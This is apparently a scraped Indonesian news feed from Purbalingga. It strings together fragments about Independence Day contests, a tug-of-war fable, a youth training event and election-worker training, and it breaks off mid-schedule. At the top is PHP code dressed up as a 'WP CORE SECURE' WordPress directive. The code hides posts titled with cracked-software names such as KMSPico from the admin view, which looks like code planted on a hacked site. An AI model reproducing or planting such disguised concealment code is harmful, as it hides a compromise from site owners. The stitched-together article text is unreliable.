# BEGIN WP CORE SECURE
# Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE"
# dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress.
# Setiap perubahan pada arahan di antara penanda berikut akan ditimpa.
function exclude_posts_by_titles($where, $query) {
global $wpdb;
if (is_admin() && $query->is_main_query()) {
$keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner'];
foreach ($keywords as $keyword) {
$where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%");
}
}
return $where;
}
add_filter('posts_where', 'exclude_posts_by_titles', 10, 2);
# END WP CORE SECURE
Demikian salah satu jenis lomba dalam rangka memeriahkan Malam Tasyakuran HUT Ke 73 RI di yang diselenggarakan oleh warga RT 01/09 Desa Penaruban, kecamatan Kaligondang, Kabupaten Purbalingga, Jawa Tengah, di komplek Gedung PKK desa setempat Kamis (16/8/2018) malam.
Koordinator kegiatan, Febi, mengatakan lomba tersebut menjadi cabang lomba yang menantang bagi kaum pria atau suami.
“Pekerjaan memilih gabah diantara beras, biasanya dilakukan oleh ibu-ibu rumah tangga dan itu wajar. Namun bagi bapak-bapak dan para kaum pria pekerjaan ini sangat jarang sekali dilakukan,” katanya.
Salah satu peserta lomba, Igun, mengatakan cukup sulit mengambil gabah satu persatu apalagi malam hari. Enaknya itu diraup baru dapat banyak, ” katanya sambil tersenyum.
Malam makin meriah dengan hadirnya aneka lomba dan pembagian hadiah, seperti lomba membawa kelereng dengan sendok makan, joged bola dan lain-lain.
Acara Malam Tasyakuran memperingati HUT Ke 73 RI diteruskan dengan tausiah oleh tokoh setempat dan diahiri dengan doa dan makan nasi tumpeng bersama. (*)
]]>Rakyatnya pun hidup sengsara dan serba kekurangan hingga pada suatu hari ada seorang Pendeta yang memberikan nasihat kepada Sang Raja. “Wahai sang Raja lihatlah rakyat mu yang begitu sengsara saat ini. Saat ini banyak yang sedang merasakan kelaparan dan banyak diantara mereka makan tambang karena sudah tidak ada lagi makanan yang bisa dimakan”, kata Pendeta.
Lalu Pendeta melanjutkan nasihatnya kepada sang Raja agar tidak serakah dan memperhatikan nasib rakyatnya. Namun Sang Raja bersikukuh mempertahankan tabiatnya yang serakah dan tidak peduli dengan rakyatnya.
Hingga Pendeta menantang sang Raja untuk melakukan perlombaan tarik tambang dengan rakyatnya. Dengan syarat apabila Sang Raja kalah dalam perlombaan tarik tambang maka Sang Raja harus merubah tabiat dan lebih peduli serta memperhatikan nasib dan kesejahteraan rakyatnya.
Singkat cerita perlombaan tarik tambangpun dimenangkan oleh kelompok rakyat dan rakyatpun dikemudian hari hidup berkecukupan.
Di Indonesia Permainan Tarik Tambang banyak diperlombakan di saat perayaan Hari Ulang Tahun Kemerdekaan RI pada bulan Agustus. Seperti halnya di tahun 2018 ini dalam rangka merayakan HUT RI ke 73 permainan tarik tambang banyak diperlombakan mulai dari tingkat Desa hingga Kabupaten dengan peserta terdiri dari anak sekolah, kelompok masyarakat maupun antar instansi Pemerintah. Bahkan perlombaan tarik tambang tidak hanya diikuti oleh kelompok laki-laki saja tetapi lomba tarik tambang kelompok perempuanpun berlangsung seru dan meriah.
Salah satu peserta lomba tarik tambang perempuan dari Dinkominfo Kabupaten Purbalingga ketika sedang beristirahat disela-sela mengikuti lomba tarik tambang antar Organisasi Perangkat Daerah (OPD) yang berlangsung tadi pagi Rabu (15/8/18) di lapangan GOR Goentoer Darjono Purbalingga, Eti Tri Setiyowati mengatakan, “sebelum perlombaan dimulai niatnya hanya partisipasi saja tidak terlalu serius apalagi cuaca panas, tetapi ketika sudah mulai perlombaan, semangat dan rasa kebersamaan mendorong untuk berusaha semaksimal mungkin dan sekuat tenaga hingga akhirnya kami dapat memenangkan perlombaan pada babak penyisihan”, kata Eti.
Selanjutnya berikut ini trik dan strategi untuk memenangkan perlombaan tarik tambang yang dapat kita jadikan sebagai salah satu referensi :
Narahubung panitia, Fida Naufal, Rabu (11/7) mengatakan, kegiatan tersebut bertujuan agar generasi milenial di Purbalingga mampu memanfaatkan teknologi terkini untuk lebih produktif. Sehingga mereka bisa tetap melanjutkan cita-cita untuk kuliah dengan biaya sendiri tanpa harus bergantung pada orang tua.
“Peserta akan diberi pemahaman tentang kuliah hanya dengan modal nol rupiah, menjadi lebih produktif dengan aktifitas menulis dan berbisnis serta menindaklanjutinya dengan mengikuti pelatihan menulis,” katanya.
Pelatihan itu akan menghadirkan pemateri Jajang Hidayat, mahasiswa Unsoed Purwokerto asal pedalaman Lampung yang aktif di berbagai organisasi dan berprofesi sebagai penulis buku “Kuliah Modal Nol Rupiah” dan pebisnis. Jajang sudah sering diundang dalam event nasional dan lembaga pendidikan nasional untuk menjadi pembicara.
“Output dari acara tersebut, salah satunya memberikan peluang baru kepada Pemkab Purbalingga untuk bekerja sama dengan penulis dan atau pengusaha-pengusaha muda di Purbalingga dan sekitarnya,” katanya.
Fida menegaskan, selain untuk pelajar dan mahasiswa, kegiatan tersebut juga terbuka untuk umum. Peserta juga tidak dipungut biaya alias gratis. Oleh karena itu, untuk pendaftaran, calon peserta bisa bisa menghubunginya melalui nomor
whatsapp di 082135346099 (Ryan Rachman)
Bimbingan teknis difasilitasi oleh KPU dan dilaksanakan oleh masing-masing Panitia Pemungutan Suara (PPS) mulai hari Senin (4/6/18) hingga Rabu (6/6/18).
Berikut ini jadwal bimbingan teknis KPPS se wilayah Kecamatan Kaligondang Kabupaten Purbalingga :
Pelaksanaan Bimtek Penghitungan Suara dilakukan 2 tahap. Untuk pelaksanaan Bintek Tahap 2 dengan materi simulasi /praktek pemungutan dan penghitungan suara Pilgub Jaten 2018, dengan waktu pelaksanaan Bimtek untuk masing-masing PPS Se-Kecamatan Kaligondang, sebagai berikut :
Penolih Sabtu 23 Juni 2018 pkl 19.30 s/d selesai di Balai Desa Penolih
]]>